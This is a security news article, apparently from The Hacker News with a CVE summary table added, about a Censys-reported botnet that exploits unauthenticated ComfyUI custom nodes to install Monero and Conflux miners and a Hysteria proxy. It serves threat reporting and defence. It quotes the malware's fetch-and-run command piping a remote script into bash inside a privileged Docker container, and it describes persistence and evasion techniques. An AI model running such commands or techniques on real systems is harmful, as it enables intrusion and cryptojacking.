Over 1,000 Exposed ComfyUI Instances Targeted in Cryptomining Botnet Campaign
Vulnerabilities mentionedAll →
| CVE | Vulnerability | CVSS | EPSS | Flags | Affected | Exposure | Published |
|---|---|---|---|---|---|---|---|
| CVE-2023-38646 | Metabase open source before 0.46.6.1 and Metabase Enterprise before 1.46.6.1 allow attackers to execute arbitrary commands on the server, at the server's privil Metabase open source before 0.46.6.1 and Metabase Enterprise before 1.46.6.1 allow attackers to execute arbitrary commands on the server, at the server's privilege level. Authentication is not required for exploitation. The other fixed versions are 0.45.4.1, 1.45.4.1, 0.44.7.1, 1.44.7.1, 0.43.7.2, and 1.43.7.2. NVD description · AI analysis pending | 9.8 | 99% |
| — | ||
| CVE-2023-46604 | Unauthenticated RCE in Apache ActiveMQ via OpenWire Deserialization CVE-2023-46604 is a critical deserialization flaw (CWE-502) in the Java OpenWire protocol marshaller of Apache ActiveMQ that permits unauthenticated remote code execution (CVSS 9.8). An attacker with network access to either a Java-based OpenWire broker or client can manipulate serialized class types in the OpenWire protocol, causing the peer to instantiate arbitrary classes on the classpath and execute arbitrary shell commands. Successful exploitation yields full command execution on the target broker or client, with no authentication or user interaction required. Affected parties include anyone running ActiveMQ broker or Java client versions prior to 5.15.16, 5.16.7, 5.17.6, or 5.18.3, as well as NetApp E-Series products and Debian packages that ship affected ActiveMQ/OpenWire components. Exploitation is confirmed in the wild: the flaw was added to CISA's KEV on 2023-11-02 with known ransomware use (RansomHub), and has been used to drop Kinsing malware, Godzilla web shells, and the DripDropper implant, in some cases with attackers patching the flaw post-exploitation to lock out competing intruders. Do: Upgrade all ActiveMQ brokers and Java OpenWire clients to 5.15.16, 5.16.7, 5.17.6, or 5.18.3 (or later), and apply the relevant NetApp E-Series and Debian updates for bundled components; restrict the OpenWire port (default TCP 61616) from untrusted networks. Hunt for indicators of the documented campaigns (Godzilla web shells, Kinsing malware, DripDropper, RansomHub) and verify the broker's current version, since attackers have been observed patching the flaw post-exploitation to hide from defenders. The CISA KEV listing means federal agencies must apply vendor mitigations or discontinue use of the product. | 9.8 | 100% | KEV ransomware PoC |
| largetens of thousands of internet-exposed OpenWire brokers (order of 10,000–100,000 by public scans), plus uncounted internal deployments and bundled NetApp/Debian… | |
| CVE-2025-55182 | Unauthenticated RCE in React Server Components (React2Shell) CVE-2025-55182 is a critical (CVSS 10.0) pre-authentication remote code execution flaw (CWE-502, deserialization of untrusted data) in React Server Components, specifically the react-server-dom-parcel, react-server-dom-turbopack, and react-server-dom-webpack packages in versions 19.0.0, 19.1.0, 19.1.1, and 19.2.0. It is triggered when the vulnerable code unsafely deserializes payloads from HTTP requests sent to Server Function endpoints, requiring no authentication or user interaction. An attacker gains arbitrary code execution on the affected server (CVSS scope changed, with high impact to confidentiality, integrity, and availability), and reporting notes a campaign in which hackers used the flaw to breach 766 Next.js hosts and steal credentials. Any React/Next.js application exposing Server Functions with the affected React versions is in scope, which given the ubiquity of React and Next.js is a very large deployed base. Exploitation is confirmed in the wild: the flaw was added to CISA's Known Exploited Vulnerabilities catalog on 2025-12-05 with known ransomware use, EPSS puts the 30-day exploitation probability at 99.8%, multiple public PoC/scanner repositories are available, and coverage has dubbed the flaw React2Shell. Do: Upgrade the react-server-dom-webpack, react-server-dom-parcel, and react-server-dom-turbopack packages to the vendor-patched releases (any version later than the vulnerable 19.0.0, 19.1.0, 19.1.1, and 19.2.0 line) and update Next.js per Vercel's advisory; as a KEV entry, U.S. federal agencies must apply vendor mitigations per BOD 22-01 or discontinue use. Audit internet-exposed Server Function endpoints for the vulnerable React versions and review logs for exploitation activity, including the reported campaign that breached 766 Next.js hosts and stole credentials, then rotate any exposed credentials. | 10.0 | 100% | KEV ransomware PoC ×7 |
| mass≈1M+ internet-facing Next.js/React Server Components deployments (order-of-magnitude estimate) | |
| CVE-2025-68613 | Authenticated RCE in n8n Workflow Automation Expression Evaluation n8n, an open source workflow automation platform, contains a critical remote code execution vulnerability (CVE-2025-68613, CWE-913) in its workflow expression evaluation system, affecting versions starting at 0.211.0 and prior to 1.120.4, 1.121.1, and 1.122.0. The flaw is triggered when expressions supplied by authenticated users during workflow configuration are evaluated in an execution context that is not sufficiently isolated from the underlying runtime, allowing the attacker to execute arbitrary code with the privileges of the n8n process. Successful exploitation can result in full compromise of the affected instance, including unauthorized access to sensitive data, modification of workflows, and execution of system-level operations. Any self-hosted or cloud n8n deployment running an affected version is exposed, with public scans indicating roughly 24,700 instances remain exposed on the internet. The flaw was added to CISA's Known Exploited Vulnerabilities catalog on 2026-03-11, EPSS places the 30-day exploitation probability at 99.1% (100th percentile), and Akamai has documented a ZeroBot malware campaign targeting n8n instances. Do: Upgrade immediately to n8n 1.120.4, 1.121.1, or 1.122.0 (or later), as the flaw is in CISA KEV and actively exploited by the ZeroBot malware campaign documented by Akamai. If immediate upgrade is not possible, restrict workflow creation and editing permissions to fully trusted users and run n8n in a hardened environment with restricted OS privileges and network access, keeping in mind these mitigations do not fully eliminate the risk. Review instances for signs of compromise, including unexpected workflow changes and suspicious process activity, and apply BOD 22-01 requirements if the product is used in federal cloud services. | 8.8 | 99% | KEV PoC |
| large≈24,700 internet-exposed n8n instances (public internet scan counts cited in exploit reporting) | |
| CVE-2025-7544 | A vulnerability was found in Tenda AC1206 15.03.06.23. A vulnerability was found in Tenda AC1206 15.03.06.23. It has been rated as critical. This issue affects the function formSetMacFilterCfg of the file /goform/setMacFilterCfg. The manipulation of the argument deviceList leads to stack-based buffer overflow. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. NVD description · AI analysis pending | 7.4 | 2% | PoC ×2 |
| — |
Full article1,635 words · extracted from thehackernews.com · click to collapse
An active campaign has been observed targeting internet-exposed instances running ComfyUI, a popular stable diffusion platform, to enlist them into a cryptocurrency mining and proxy botnet.
"A purpose-built Python scanner continuously sweeps major cloud IP ranges for vulnerable targets, automatically installing malicious nodes via ComfyUI-Manager if no exploitable node is already present," Censys security researcher Mark Ellzey said in a report published Monday.
The attack activity, at its core, systemically scans for exposed ComfyUI instances and exploits a misconfiguration that allows remote code execution on unauthenticated deployments through custom nodes.
Upon successful exploitation, the compromised hosts are added to a cryptomining operation that mines Monero via XMRig and Conflux via lolMiner, as well as to a Hysteria V2 botnet. Both of them are centrally managed through a Flask-based command-and-control (C2) dashboard.
Data from the attack surface management platforms shows that there are more than 1,000 publicly-accessible ComfyUI instances. While not a huge number, it's sufficient for a threat actor to run opportunistic campaigns to reap financial gains.
Censys said it discovered the campaign last month after identifying an open directory on 77.110.96[.]200, an IP address associated with a bulletproofing hosting services provider, Aeza Group. The directory is said to have contained a previously undocumented set of tools to pull off the attacks.
This includes two reconnaissance tools to enumerate exposed ComfyUI instances across cloud infrastructure, identify those that have ComfyUI-Manager installed, and shortlist those that are susceptible to the code execution exploit.
One of the two scanner Python scripts also functions as an exploitation framework that weaponizes ComfyUI's custom nodes to achieve code execution. This technique, some aspects of which were documented by Snyk in December 2024, takes advantage of the fact that some custom nodes accept raw Python code as input and run it directly without requiring any authentication.
As a result, an attacker can scan exposed ComfyUI instances for specific custom node families that support arbitrary code execution, effectively turning the service into a channel for delivering attacker-controlled Python payloads. Some of the custom node families that the attack particularly looks for are listed below -
- Vova75Rus/ComfyUI-Shell-Executor
- filliptm/ComfyUI_Fill-Nodes
- seanlynch/srl-nodes
- ruiqutech/ComfyUI-RuiquNodes
"If none of the target nodes are present, the scanner checks whether ComfyUI-Manager is installed," Censys said. "If available, it installs a vulnerable node package itself, then retries exploitation."
It's worth noting that "ComfyUI-Shell-Executor" is a malicious package created by the attacker to fetch a next-stage shell script ("ghost.sh") from the aforementioned IP address. Once code execution is obtained, the scanner removes evidence of the exploit by clearing the ComfyUI prompt history.
A newer version of the scanner also incorporates persistence mechanisms that cause the shell script to be downloaded every six hours and the exploit workflow to be re-executed every time ComfyUI is started.
The shell script, for its part, disables shell history, kills competing miners, launches the miner process, anduses the LD_PRELOAD hook to hide a watchdog process that ensures the miner process is revived in the event it gets terminated.
In addition, the miner program is copied to multiple locations so that even if the primary install directory gets wiped, it can be launched from one of the fallback locations. A third mechanism the malware uses to ensure persistence is the use of the "chattr +i" command to lock the miner binaries and prevent them from being deleted, modified, or renamed, even by the root user.
"There is also dedicated code targeting a specific competitor, 'Hisana' (which is referenced throughout the code), which appears to be another mining botnet," Censys explained. "Rather than just killing it, ghost.sh overwrites its configuration to redirect Hisana's mining output to its own wallet address, then occupies Hisana’s C2 port (10808) with a dummy Python listener so Hisana can't restart."
The infected hosts are commandeered by means of a Flask-based C2 panel, which allows the operator to push instructions or deploy additional payloads, including a shell script that installs Hysteria V2 with the likely goal of selling compromised nodes as proxies.
Further analysis of the attacker's shell command history has revealed an SSH login attempt as root to the IP address 120.241.40[.]237, which has been linked to an ongoing worm campaign targeting exposed Redis database servers.
"Much of the tooling in this repository appears hastily assembled, and the overall tactics and techniques might initially suggest unsophisticated activity," Censys said. "Specifically, the operator identifies exposed ComfyUI instances running custom nodes, determines which of those nodes expose unsafe functionality, and then uses them as a pathway to remote code execution."
"The infrastructure accessed by the operator further supports the idea that this activity is part of a broader campaign focused on discovering and exploiting exposed services, followed by the deployment of custom tooling for persistence, scanning, or monetization."
The discovery coincides with the emergence of multiple botnet campaigns in recent weeks -
- Exploitation of command injection vulnerabilities in n8n (CVE-2025-68613) and Tenda AC1206 routers (CVE-2025-7544) to add them to a Mirai-based botnet known as Zerobot.
- Exploitation of vulnerabilities in Apache ActiveMQ (CVE-2023-46604), Metabase (CVE-2023-38646), and React Server Components (CVE-2025-55182 aka React2Shell) to deliver Kinsing, a persistent malware used for cryptocurrency mining and launching Distributed Denial of Service (DDoS) attacks.
- Exploitation of a suspected zero-day vulnerability in fnOS Network Attached Storage (NAS) to target internet-exposed systems and implant them with a DDoS malware called Netdragon. "NetDragon establishes an HTTP backdoor interface on compromised devices, enabling attackers to remotely access and control the infected systems," QiAnXin XLab said. "It tampers with the 'hosts' file to hijack the official Feiniu NAS system update domains, effectively preventing devices from obtaining system updates and security patches."
- Expansion of RondoDox's exploit list to 174 different vulnerabilities, while shifting the attack methodology from a "shotgun approach" to more targeted and recent flaws that are more likely to lead to infections.
- Exploitation of known security vulnerabilities to deploy a new variant of Condi, a Linux malware that turns compromised linux devices into bots capable of conducting DDoS attacks. The binary references a string "QTXBOT," either indicating the name of the forked version or the internal project name.
- Brute-force attacks against SSH servers to launch an XMRig miner and generate illicit cryptocurrency revenue as part of an active cryptojacking operation called Monaco. Weak SSH passwords have also been used as attack pathways to deploy malware that establishes persistence, kills competing miners, connects to an external server, and performs a ZMap scan to propagate the malware in a worm-like fashion to other vulnerable hosts.
"Botnet activity has surged over the last year, with Spauhaus noting 26% and 24% increases in the two six-month periods Jan - Jun 2025 and Jul - Dec 2025, respectively," Pulsedive said.
"This increase is associated with bots and nodes appearing in the United States. The increase also stems from the availability of source code for botnets such as Mirai. Mirai offshoots and variants are responsible for some of the largest DDoS attacks by volume."
ComfyUI Campaign Undergoes Updates
The threat actors behind the campaign targeting exposed ComfyUI instances have been observed actively refining the primary payload with an emphasis on sandbox detection, process hiding, aggressive competition killing, and lateral movement. The new version has been internally codenamed "GHOST v6.0 – Domination Edition" by the malware author.
While "ComfyUI-Shell-Executor" was previously observed delivering a text file named "q11.txt," which then unpacked the "ghost.sh" shell script, The Hacker News found that the package was updated on April 2, 2026, to fetch a different text file called "q12.txt." The GitHub user associated with the repository has since reverted the change as of April 9, 2026.
When reached for comment regarding the functionality of the new payload, Censys said the malware performs a number of new steps -
- Check whether it's running in a sandbox-like environment and arrive at a score based on memory usage (less than 512MB), disk size (less than 5GB) the number of network interfaces, and the presence of debuggers and words like "sandbox," "analysis," "malware," "honey" (short for honeypot), or "virus" in either the current username of the process or the output of dmesg. If the score is greater than 5, it exits.
- An updated process-hiding mechanism that fetches the process name it attempts to hide under at runtime, as opposed to hard-coding it so as to give the impression that it's something that's already running on the system.
- Terminate processes that take up more than 80% of the CPU and those that run out of /tmp, shared memory, or /var/tmp directories, and that have TCP connections going out to specific ports (8081, 3333, 5555, 6969, 9999). It also deletes crontab entries and systemd services that may indicate a rival's cryptocurrency mining setup.
- Update local firewall rules to block known cryptomining pool servers when the shell script is being run as root.
- Add SSH key stub to the "authorized_keys" file, likely for persistent remote access.
- Auto-update itself with a new version by fetching an install script from the server that runs every 30 seconds.
- Spread via exposed Docker instances that have the default API port 2375 open ("spread_docker_api") and scan the local network for unauthenticated Redis servers to propagate the script to other servers ("_spread_redis").
Spread_docker_api "scans the local network subnet looking for unauthenticated docker (containerization service) servers on port 2375, and if it finds one, creates a privileged container using the host's filesystem mounted at /mnt/host," Censys explained. "The container payload is just apk add curl bash && curl -sL $GHOST_URL | bash, which runs the whole thing in the discovered docker daemon."
(The story was updated after publication on April 9, 2026, with additional insights from Censys.)
Found this article interesting? Follow us on Google News, Twitter and LinkedIn to read more exclusive content we post.
Text extracted automatically; images, tables and formatting may be missing. Original: https://thehackernews.com/2026/04/over-1000-exposed-comfyui-instances.html